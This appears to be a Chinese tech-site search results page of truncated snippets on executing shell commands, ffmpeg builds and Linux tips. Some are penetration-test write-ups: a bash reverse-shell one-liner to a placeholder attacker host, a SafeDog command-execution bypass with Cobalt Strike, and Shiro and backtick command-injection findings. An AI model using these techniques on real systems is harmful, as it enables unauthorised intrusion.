首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

Python执行远程执行shell命令

方案一:脚本本地执行命令 在Python中有两个库都可以实现运行shell命令的效果: import subprocess import os 使用方法也很简单: # subprocess 使用方法 subprocess.call...("ls") # 执行ls命令 # os 使用方法 # 使用system模块执行linux命令时,如果执行命令没有返回值res的值是256 # 如果执行命令有返回值且成功执行,返回值是0 res...= os.system("ls") # popen模块执行linux命令。...返回值是类文件对象,获取结果要采用read()或者readlines() val = os.popen('ls').read() # 执行结果包含在val中 方案二:脚本远程执行命令 在 Python...linux命令(调用linux命令):https://blog.csdn.net/shanliangliuxing/article/details/8811701 (转)python中执行linux命令

7K20
您找到你想要的搜索结果了吗?
是的
没有找到

一次失败的PostgreSQL命令执行

从SQL就可以看出这是一种数据库,现在学习安全起步基本都是关于MySql的操作,关于postgresql、mssql、Oracle等数据库应该是相对比较少的,这也是kami第一次接触PostgreSQL...pg_read_server_files组用户执行任意的操作系统命令....因为只有数据库超级用户和pg_read_server_files组用户可以执行系统命令,所以第一步要先看自身的权限是否足够。...bash -i >& /dec/tcp/攻击机ip/攻击机端口 0>&1 但在执行bash命令的时候,数据库因为没有执行bash命令的权限而报错了。...执行命令: drop table kami; 于是数据库就崩了,数据库一直在处理这条命令,直到我第二周打开那个网站,看见页面才知道,数据库确实被我玩崩了。 哇的一下就哭出来了。

1.8K30

python脚本实现本地远程执行命令

功能: 1、执行本地shell命令执行完成后获取结果 2、执行本地shell命令执行中实时获取输出结果 3、执行远程shell命令执行完成后获取结果 4、执行远程shell命令执行中实时获取输出结果.../tmp/shell/shell.log 2、本地执行shell命令,实时获取输出结果 apt-get update #更新 3、远程执行shell命令执行完成后获取结果 mkdir /tmp/remote_shell...): print("执行远程shell命令执行完成后获取结果") self.remote_nfs_server.onetime_shell('mkdir /tmp/remote_shell.../exec_shell.py 执行本地shell命令执行完成后获取结果 shell 执行本地shell命令执行中实时获取输出结果 Hit:1 http://mirrors.aliyun.com/docker-ce...执行远程shell命令执行完成后获取结果 remote_shell 执行远程shell命令执行中实时获取输出结果 Hit:1 http://mirrors.aliyun.com/docker-ce/

3.6K20

一次绕过安全狗命令执行上线

朋友@Sin在一次渗透测试项目中遇到的一个问题,在拿到了Webshell权限后发现不能执行命令,最后虽然成功绕过了安全狗的命令执行限制,但上线时还是遇到些问题。...项目地址:https://github.com/Tas9er/ByPassBehinder 注:这个免杀项目Java写的,用exe4j打包的exe,所以在执行前还得先安装好JREJDK,并且在环境变量中新建一个系统变量...0x02 绕过测试 掏出了我多年前改的一个可用于绕过安全狗命令执行限制的ASP.NET脚本,原理也很简单,只需在执行命令中带有安全狗内置的白名单程序即可,这时可以看到已经可以正常执行命令了。...但在@Sin那个项目中虽然绕过了安全狗的命令执行限制,但也只能执行set、whoami、ipconfig,其他命令和自己传的EXE都执行不了,暂时还不能上线。按理说是OK的,不知问题出哪!...(3) 通过冰蝎Meterpreter、CobaltStrike成功上线,但执行命令时仍会被安全狗"禁止IIS执行程序"拦截,所以还是得利用安全狗内置白名单绕过,也可尝试进程迁移另起一个会话。

1.1K10

一次远程命令执行引发的应急响应

(4)web日志分析 java进程所对应的是web应用程序,基于异常命令执行的时间节点,对相关web日志进行分析,确认入侵时间范围内是否存在可疑的行为。 ?...合理的猜测:结合前面发现Java进程执行dnslog探测等行为,猜测可能存在框架组件存在远程命令执行漏洞。...(5)web框架组件 在web框架组件中,发现低版本的shiro组件,存在明显的远程命令执行漏洞。...框架/组件 版本 spring 4.3.5 RELEASE shiro 1.4.0-RC2 (6)漏洞复现 通过Shiro远程命令执行漏洞成功获取到了服务器权限,存在dnslog探测和命令执行情况,与发现入侵时的迹象一致...03、事件总结 通过以上的分析,可以判断出攻击者通过shiro 远程命令执行漏洞入侵,并在反弹shell执行了一些操作,需要升级shiro至最新版本并生成新的密钥替换。

1K10

【ijkplayer】编译 Android 版本的 ijkplayer ④ ( 安装 make yasm 软件 | 执行 compile-ffmpeg.sh all 命令编译 ffmpeg )

文章目录 一、安装 make 软件 二、安装 yasm 软件 三、执行 compile-ffmpeg.sh all 命令编译 ffmpeg 参考 https://github.com/bilibili/...ijkplayer 项目的编译过程 ; 一、安装 make 软件 ---- 执行 sudo apt-get install make 命令 , 安装 make 软件 , 安装过程 : root@octopus...sudo apt-get install yasm 命令 , 安装 yasm 汇编编译器 ; 完整执行过程 ; root@octopus:~# sudo apt-get install yasm 正在读取软件包列表...正在处理用于 man-db (2.8.3-2ubuntu0.1) 的触发器 ... root@octopus:~# 三、执行 compile-ffmpeg.sh all 命令编译 ffmpeg --.../compile-ffmpeg.sh all 命令 , 开始编译 ; 注意 : 下面 3 个必须都满足才可以完成后续编译 ; 配置 ndk : 执行前必须已经配置好了 android-ndk-r10e

1.1K20

不动源码,让FFmpeg命令执行时间缩短400%

(原始大小为355 MB) 用-preset来加速更大的文件大小 点击这里了解更多关于preset的细节 使用preset,你可以很容易地以更大的文件大小来加速FFmpeg,当你的硬盘有足够的空间时,这是可以接受的...使用VAAPI来加快集成/英特尔GPU卡的速度 视频加速API(VAAPI)在FFmpeg中并不是一个秘密,但很难注意到它是如何轻松帮助你加速FFmpeg的。...你不需要编译FFmpeg,因为这个标志是默认启用的。 要在Ubuntu中使用VAAPI,首先你需要安装驱动程序并使用vainfo命令检查状态。...VAEntrypointVideoProc VAProfileJPEGBaseline : VAEntrypointVLD 如果你看到类似上述的输出,说明你的英特尔GPU卡支持VAAPI,那么你可以使用下面的命令执行...如果你觉得这篇文章有用,不要犹豫,留下任何评论点赞,谢谢你! 注:特别感谢技术指导dazhao(赵达)对本文翻译的审阅指正。

7.7K154

Linux 启动时如何自动执行命令脚本?

在启动时执行 Linux 脚本 有两种传统的方法可以实现在启动时执行命令脚本: 方法 #1 - 使用 cron 任务 除了常用格式(分 / 时 / 日 / 月 / 周)外,cron 调度器还支持 @reboot...这个指令后面的参数是脚本(启动时要执行的那个脚本)的绝对路径。...然而,这种方法需要注意两点: a) cron 守护进程必须处于运行状态(通常情况下都会运行),同时 b) 脚本 crontab 文件必须包含需要的环境变量(如果有的话,参考 StackOverflow...获取更多详细内容)。...不过,使用这个方法,需要授予/etc/rc.d/rc.local文件执行权限: # chmod +x /etc/rc.d/rc.local 然后在这个文件底部添加脚本。

3.7K40

一次远程命令执行漏洞的挖掘过程

最近为甲方做渗透测试发现了一个远程命令执行漏洞,可以通过恶意参数传递执行bash命令,本文回顾一下漏洞的挖掘过程。 发现 1、通过nessus扫描器的Sitemap模块,发现了可疑目录: ?...6、结合上面的目录信息和任意文件读取漏洞,对JSP文件简单审计一下,发现logContentNewest.jsp会调用一个bash脚本,便猜想能否使用它构造命令执行: ?...经过多次测试,最终可用反引号“或者$()进行命令执行,如`ifconfig`: payload:"`ifconfig`" 命令结果的回显是因为判断不存在FILA_PATH文件名的文件后,会把变量值返回...小结 漏洞是由于程序调用bash脚本传参时没有做过滤,通过$(cmd)这样的方式来执行命令并将结果存入变量中,在脚本判断文件不存在时会返回文件名,造成了回显。...漏洞修复方法: 严格控制文件名参数值,先判断文件名文件路径是否合法可修复漏洞。

1.6K10

PHP执行Shell脚本Bash脚本文件并返回命令输出详情

"shell命令{$shell}成功执行";}?...>运行结果:2.批量执行Shell命令为了方便管理,可以将所需执行命令写入至sh文件,然后通过system执行即可。sh文件以#!.../bin/bash开头,指示命令解释器,需要执行命令每行一个,以;结尾,内容结尾可不带换行,否则status获取的是换行执行的结果(即空),if判断为空值则会输出命令执行失败,但实际上结尾换行符以上的命令是实际执行成功的...www.afengblog.com;dig afengblog.com;dig cdn.afengblog.com;可以将shell 值改为:bash dig.shdig.sh改为以上sh文件的相对绝对路径如下...>执行效果如下:3.通过exec函数执行shell执行命令可以根据以上方法自行diy。使用实例:<?

2.2K20

PowerShell 的命令行启动参数(可用于执行命令、传参进行环境配置)

我们都知道如何在命令各种终端中启动一个程序,但是当你需要自动启动这个程序的时候,你就需要知道如何通过 PowerShell 其他命令行终端来启动一个程序,而不是手工输入然后回车运行了。...本文就介绍 PowerShell 的命令行启动参数。利用这些参数,你可以自动化地通过 PowerShell 程序来完成一些原本需要通过手工执行的操作或者突破一些限制。...比如下面的 FRP 反向代理程序: 借助 cmd.exe 来启动的方法可以参见我的另一篇博客: cmd.exe 的命令行启动参数(可用于执行命令、传参进行环境配置) - 吕毅 那么我们如何能够借助于...比如其中之一,执行脚本。 使用 PowerShell 执行命令/脚本后保留窗口不退出 需要加上 -NoExit 参数。.../frpc.ini" 一定要注意,-c 和后面的命令必须放到最末尾,因为 -c 后面的所有字符串都会被解析为需要执行命令

1.5K30

CC 中一次执行多个DOS命令的实现思路

思路 在C语言中执行DOS命令的方法很多,如:ShellExecute, WinExec, CreateProcess等,但是这些接口都是只能一次执行一条命令,在我的启动脚本里有很多命令,有一些是设置环境变量的...,这样就没法在代码中一条条执行脚本中的命令,必须要找到一个办法可以一次执行多条命令。...也就是使用CreateProcess创建一个cmd进程,然后通过输入管道将待执行命令传递给cmd进程,通过输出管道获取cmd进程的输出信息,因为是通过管道进行,所以可以模拟在DOS窗口一行行输入命令,...从而实现执行多条DOS命令了。...\n" "dir\n" cmd.exe /k 执行命令行不关闭 cmd.exe /c 执行命令行马上关闭 再然后,原来的示例代码中是把批处理文件作为EXE的参数传递进来的,既然上面改为将批处理文件内容放到脚本里

16830

cmd.exe 的命令行启动参数(可用于执行命令、传参进行环境配置)

顺便,使用 PowerShell 来启动的方法可以参见我的另一篇博客: PowerShell 的命令行启动参数(可用于执行命令、传参进行环境配置) - 吕毅 cmd.exe 的帮助文档 先打开一个 cmd...与 /c 参数不同的是: /c 在执行完程序之后,cmd.exe 也会终止 /k 在执行完程序之后,cmd.exe 依然会继续运行 所以 /c 命令会更适用于自动化的脚本,而 /k 命令则更适用于半自动化的脚本.../K 执行字符串指定的命令但保留 /S 修改 /C /K 之后的字符串处理(见下) /Q 关闭回显 /D 禁止从注册表执行 AutoRun 命令(见下) /A 使向管道文件的内部命令输出成为 ANSI...如果 /D 未在命令行上被指定,当 CMD.EXE 开始时,它会寻找 以下 REG_SZ/REG_EXPAND_SZ 注册表变量。如果其中一个 两个都存在,这两个变量会先被执行。...如果延迟环境变量扩展被启用, 惊叹号字符可在执行时间被用来 代替一个环境变量的数值。 你可以用 /F:ON /F:OFF 开关为 CMD.EXE 的某个 调用而启用禁用文件名完成。

1.6K20

服务器centos6.xcentos7.x安装ffmpeg方法 Linux 命令终端 CentOS

第一种方法,安装ffmpeg 第一步:使用sh进入命令窗口  [root@qimeng.tv ~]# 查看是否安装过ffmpeg 直接输入whereis ffmpeg 有就显示路径,没有就显示命令符 如果没有就看第二步...: 第二步:安装ffmpeg [root@qimeng.tv ~]#   #wget http://www.ffmpeg.org/releases/ffmpeg-3.1.tar.gz [root@qimeng.tv... ~]# # tar -zxvf ffmpeg-3.1.tar.gz [root@qimeng.tv ~]# # cd ffmpeg-3.1 [root@qimeng.tv ffmpeg-3.1]# ....[root@qimeng.tv ffmpeg-3.1]# 第三步:在系统目录下使用vi命令Ffmpeg加入全局变量,使之所有都可以使用ffmpeg调用 1....[root@qimeng.tv  ~]# vi /etc/profile 3.使用i命令 光标移动 编辑后 编辑, 4.在文件最后PATH添加环境变量: export PATH=/usr/local/ffmpeg

1.3K20

如何在 Linux 中查找一个命令进程的执行时间

在类 Unix 系统中,你可能知道一个命令进程开始执行的时间,以及一个进程运行了多久。 但是,你如何知道这个命令进程何时结束或者它完成运行所花费的总时长呢?...在 Linux 中查找一个命令进程的执行时间 要测量一个命令程序的执行时间,运行: $ /usr/bin/time -p ls 或者, $ time ls 输出样例: dir1 dir2 file1...你可以将 ls 替换为任何命令进程,以查找总的执行时间。...time 关键字的选项少于该可执行文件,你可以使用的唯一选项是 -p。 你现在知道了如何使用 time 命令查找给定命令进程的总执行时间。 想进一步了解 GNU time 工具吗? 继续阅读吧!...$ man time 想要了解有关 Bash 内建 time 关键字的更多信息,请运行: $ help time 总结 以上所述是小编给大家介绍的在 Linux 中查找一个命令进程的执行时间,希望对大家有所帮助

1.7K21

怎么在 Linux 中查找一个命令进程的执行时间

在类 Unix 系统中,你可能知道一个命令进程开始执行的时间,以及一个进程运行了多久。 但是,你怎么知道这个命令进程何时结束或者它完成运行所花费的总时长呢?...在 Linux 中查找一个命令进程的执行时间 要测量一个命令程序的执行时间,运行: $ /usr/bin/time -p ls 或者, $ time ls 输出样例: dir1 dir2 file1...你可以将 ls 替换为任何命令进程,以查找总的执行时间。...time 关键字的选项少于该可执行文件,你可以使用的唯一选项是 -p。 你现在知道了怎么使用 time 命令查找给定命令进程的总执行时间。 想进一步了解 GNU time 工具吗? 继续阅读吧!...$ man time 想要了解有关 Bash 内建 time 关键字的更多信息,请运行: $ help time 总结 以上所述是小编给大家介绍的在 Linux 中查找一个命令进程的执行时间,希望对大家有所帮助

1.6K20
领券